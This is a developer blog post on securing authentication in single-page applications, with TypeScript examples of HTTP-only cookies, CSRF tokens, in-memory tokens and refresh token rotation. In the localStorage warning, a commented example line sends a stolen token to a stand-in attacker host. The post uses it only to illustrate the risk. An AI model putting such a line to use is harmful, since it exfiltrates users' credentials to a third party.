Skip to content

Authentication Patterns for Single-Page Applications

Tokens, cookies, refresh flows, and session management — the authentication patterns that keep SPAs secure without sacrificing user experience.

3 min read
Authentication flow diagram showing token exchange between SPA client and API server

Authentication in single-page applications is harder than it looks. The browser is a hostile environment — JavaScript can be injected, tokens can be stolen from storage, and CSRF attacks exploit cookie-based sessions. Choosing the wrong pattern creates security holes that are invisible until they're exploited.

The Two Main Approaches

SPAs authenticate using either cookie-based sessions or token-based authentication. Each has distinct security characteristics.

ApproachStorageCSRF riskXSS riskWorks cross-origin
HTTP-only cookiesBrowser-managedYes (mitigatable)LowNo (same origin)
JWT in memoryJavaScript variableNoYes (if stored wrong)Yes
JWT in localStoragelocalStorageNoHighYes
tstypescript
// ❌ JWT in localStorage — any XSS attack steals the token
localStorage.setItem("token", jwt);
 
// Any injected script can do:
// fetch("https://attacker.com/steal?token=" + localStorage.getItem("token"))
 
// ✅ HTTP-only cookie — JavaScript cannot access it
// Set by the server:
// Set-Cookie: session=abc123; HttpOnly; Secure; SameSite=Strict; Path=/

HTTP-only cookies are the most secure default for same-origin SPAs. Tokens in memory (not localStorage) are appropriate for cross-origin setups.

The server sets an HTTP-only cookie after successful login. The browser sends it automatically with every request.

tstypescript
// Server: login endpoint
app.post("/api/auth/login", async (req, res) => {
  const { email, password } = req.body;
  const user = await verifyCredentials(email, password);
 
  if (!user) {
    return res.status(401).json({ error: "Invalid credentials" });
  }
 
  const sessionId = await createSession(user.id);
 
  res.cookie("session", sessionId, {
    httpOnly: true,     // Not accessible via JavaScript
    secure: true,       // Only sent over HTTPS
    sameSite: "strict", // No cross-origin requests
    maxAge: 7 * 24 * 60 * 60 * 1000, // 7 days
    path: "/",
  });
 
  res.json({ user: { id: user.id, name: user.name } });
});
tstypescript
// Server: session middleware
async function sessionMiddleware(req: Request, res: Response, next: NextFunction) {
  const sessionId = req.cookies.session;
  if (!sessionId) return res.status(401).json({ error: "Not authenticated" });
 
  const session = await getSession(sessionId);
  if (!session || session.expiresAt < new Date()) {
    res.clearCookie("session");
    return res.status(401).json({ error: "Session expired" });
  }
 
  req.userId = session.userId;
  next();
}

CSRF Protection

Cookies are sent automatically, which means a malicious site can trigger authenticated requests. The SameSite=Strict attribute prevents most CSRF attacks. For additional protection, use a CSRF token.

tstypescript
// Server: generate CSRF token for the session
app.get("/api/auth/csrf-token", sessionMiddleware, (req, res) => {
  const csrfToken = generateSecureToken();
  req.session.csrfToken = csrfToken;
  res.json({ csrfToken });
});
 
// Server: verify CSRF token on state-changing requests
function csrfMiddleware(req: Request, res: Response, next: NextFunction) {
  if (["GET", "HEAD", "OPTIONS"].includes(req.method)) return next();
 
  const token = req.headers["x-csrf-token"];
  if (token !== req.session.csrfToken) {
    return res.status(403).json({ error: "Invalid CSRF token" });
  }
  next();
}

Token-Based Authentication

When the API and SPA are on different origins, cookies don't work seamlessly. Tokens stored in JavaScript memory (not localStorage) are the safer alternative.

tstypescript
// Client: store token in memory, not localStorage
let accessToken: string | null = null;
let refreshToken: string | null = null;
 
async function login(email: string, password: string) {
  const res = await fetch("/api/auth/login", {
    method: "POST",
    headers: { "Content-Type": "application/json" },
    body: JSON.stringify({ email, password }),
  });
 
  const data = await res.json();
  accessToken = data.accessToken;   // Short-lived: 15 minutes
  refreshToken = data.refreshToken; // Longer-lived: 7 days
}
 
// Attach token to every request
async function authenticatedFetch(url: string, options: RequestInit = {}) {
  if (!accessToken) throw new Error("Not authenticated");
 
  const res = await fetch(url, {
    ...options,
    headers: {
      ...options.headers,
      Authorization: `Bearer ${accessToken}`,
    },
  });
 
  if (res.status === 401) {
    await refreshAccessToken();
    return authenticatedFetch(url, options); // Retry with new token
  }
 
  return res;
}

Refresh Token Flow

Short-lived access tokens limit the damage window if a token is stolen. Refresh tokens issue new access tokens without requiring re-login.

tstypescript
// Server: refresh endpoint
app.post("/api/auth/refresh", async (req, res) => {
  const { refreshToken } = req.body;
 
  const payload = verifyRefreshToken(refreshToken);
  if (!payload) return res.status(401).json({ error: "Invalid refresh token" });
 
  // Rotate refresh token — one-time use
  await revokeRefreshToken(refreshToken);
 
  const newAccessToken = signAccessToken({ userId: payload.userId }, "15m");
  const newRefreshToken = signRefreshToken({ userId: payload.userId }, "7d");
 
  await storeRefreshToken(newRefreshToken, payload.userId);
 
  res.json({ accessToken: newAccessToken, refreshToken: newRefreshToken });
});

Refresh token rotation is critical: each refresh token is single-use. If an attacker steals one and both the attacker and user try to use it, the server detects the reuse and revokes the entire session.

Logout and Session Invalidation

tstypescript
// Server-side: revoke the session
app.post("/api/auth/logout", sessionMiddleware, async (req, res) => {
  await deleteSession(req.sessionId);
  res.clearCookie("session");
  res.json({ success: true });
});
 
// Client-side: clear in-memory tokens
function logout() {
  accessToken = null;
  refreshToken = null;
  window.location.href = "/login";
}

Always invalidate sessions server-side. Clearing the cookie or token client-side isn't enough — the old session ID or token could still be valid.

Key Takeaways

  1. HTTP-only cookies are the most secure default for same-origin SPAs — JavaScript can't access them
  2. Never store tokens in localStorage — any XSS vulnerability becomes a full account takeover
  3. Use short-lived access tokens (15 min) with refresh token rotation for token-based auth
  4. SameSite=Strict prevents most CSRF attacks without additional tokens
  5. Always invalidate sessions server-side on logout — client-side cleanup isn't enough
Wilfredo Rujel

Wilfredo Rujel

Full Stack Software Engineer

Share this postX